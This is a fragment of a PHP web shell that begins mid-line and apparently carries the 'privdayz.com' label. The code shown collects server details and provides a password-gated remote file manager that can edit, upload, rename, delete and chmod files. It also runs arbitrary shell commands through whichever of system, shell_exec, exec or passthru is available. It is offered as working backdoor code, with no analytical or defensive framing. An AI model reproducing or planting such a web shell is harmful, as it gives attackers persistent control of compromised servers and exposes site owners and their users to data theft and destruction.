ON'):('OFF');$cwd=getcwd();$bckC='#151515';$txtC='#08a208'; $start=''.getenv('HTTP_HOST').' => privdayz.com

'; $menu='
';$end='';$inf='

||| Software: '.$server_soft.' ||| Uname: '.$uname.' |||
||| User: '.$cur_user.' ||| Safe Mode: '.$safe_mode.' ||| Directory: '.$cwd.' |||


'; print $start;print $menu;print $inf; $moreI=array('PHP Version' => phpversion(),'Zend Version' => zend_version(),'Magic Quotes' => magic_quotes(),'Curl' => curl(),'Register Globals' => reg_globals(),'OpenBase Dir' => openbase_dir(),'MySQL' => myql(),'Gzip' => gzip(),'MsSQL' => mssql(),'PostgreSQL' => postgresql(),'Oracle' => oracle(),'Total Space' => h_size(disk_total_space('/')) ,'Used Space' => h_size(disk_free_space('/')),'Your IP' => $_SERVER['REMOTE_ADDR'],'Server IP' => $_SERVER['SERVER_ADDR']);print ''; foreach($moreI as $n => $v) {print '';} print '
'.$n.' :> '.$v.'
PHPInfo
'; if(isset($_GET['d'])) {chdir($_GET['d']);} if(isset($_REQUEST['x'])) { print '

BACK

'; switch($_REQUEST['x']) { case 'c': if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w') or print '

Error Opening File

';fwrite($e,$_POST['edit_form']) or print '

Couldn\'t Save File

';fclose($e);}print '

Editing '.$_GET['f'].' ('.perms($_GET['d'] . $_GET['f']).') .





';break; case 'cmd': print '

Execute Command


';break; case 'php': print '

PHP Code


';break; case 'phpinf': phpinfo();break; case 'q': setcookie($xyn,'',time()-3600);let_him_in();break; case 'x': print '


';break; } } else { if(isset($_GET['d'])) {chdir($_GET['d']);} if(isset($_GET['ndir'])) {$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d .DIRECTORY_SEPARATOR. $n);} if(isset($_POST['new'])) {$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);} if(isset($_GET['deld'])) {$d=$_GET['deld']; rmdir($d);} if(isset($_GET['delf'])) {$d=$_GET['delf']; unlink($d);} if(isset($_GET['ch'])) {$ch=$_GET['ch']; $d=$_GET['df']; chmod($d,$ch);} if(isset($_FILES['upfile']['name'])) {$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);} print '

'.curpath('').'

'; print '
Create Dir:
Create File:
Command:
Upload:
'; print '
'; $filex=array(); $dirx=array(); print ''; if($handle=opendir('.')) {while(false !== ($file=readdir($handle))) {if(is_dir($file)) {$dirx[] .= $file;} else {$filex[] .= $file;}}asort($filex);asort($dirx);$i=0; foreach($dirx as $file) {if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {$own=posix_getpwuid(fileowner($file)); $grp=posix_getgrgid(filegroup($file));} else {$own['name']='???'; $grp['name']='???';} print ''; if($i==0 or $i==1) {print '';} else {print '';} $i++;} foreach($filex as $file) {if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {$own=posix_getpwuid(fileowner($file)); $grp=posix_getgrgid(filegroup($file));} else {$own['name']='???'; $grp['name']='???';} print '';}} print '
NamePermissionsOwnerOptions
'.$file.''.perms($file).''.$own['name'].' : '.$grp['name'].'
[R] [D]
'.$file.''.perms($file).''.$own['name'].' : '.$grp['name'].'[R] [D]



'; } function openbase_dir(){$x=ini_get('open_basedir');if(!$x) {$o='OFF';}else {$o='ON';}return($o);} function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x)) {$m='OFF';}else {$m='ON';}return($m);} function curl(){if(extension_loaded('curl')) {$c='ON';}else {$c='OFF';}return($c);} function reg_globals(){if(ini_get('reqister_globals')) {$r='ON';}else {$r='OFF';}return($r);} function oracle(){if(function_exists('ocilogon')) {$o='ON';}else {$o='OFF';}return($o);} function postgresql(){if(function_exists('pg_connect')) {$p='ON';}else {$p='OFF';}return($p);} function myql(){if(function_exists('mysql_connect')) {$m='ON';}else {$m='OFF';}return($m);} function mssql(){if(function_exists('mssql_connect')) {$m='ON';}else {$m='OFF';}return($m);} function gzip(){if(function_exists('gzencode')) {$m='ON';}else {$m='OFF';}return($m);} function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100 .'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100 .'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100 .'KB';}else {$s=$s.'B';}return($s);} function curpath($d){if($d=='') {$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i < count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n .=''.$g.''.DIRECTORY_SEPARATOR;}return($n);} function get_color($f){if(is_writable($f)) {$c='#ccff00';}if(!is_writable($f) && is_readable($f)) {$c=''.$txtC.'';}if(!is_writable($f) && !is_readable($f)) {$c='crimson';}return($c);} function perms($f) {if(file_exists($f)) {return substr(sprintf('%o',fileperms($f)), -4);} else {return '???';}} function exec_meth() {if(function_exists('passthru')) {$m='passthru';} if(function_exists('exec')) {$m='exec';} if(function_exists('shell_exec')) {$m='shell_exec';} if(function_exists('system')) {$m='system';} if(!isset($m)) {$m='Disabled';} return($m);} function execute($m,$c) {if($m=='passthru') {passthru($c);} elseif($m=='system') {system($c);} elseif($m=='shell_exec') {print shell_exec($c);} elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print $o.'
';}} else {print 'dafuq?';}} function initiate(){print '
Password
';} function let_him_in() { header("Location: ".basename(__FILE__)); } print $end; ?>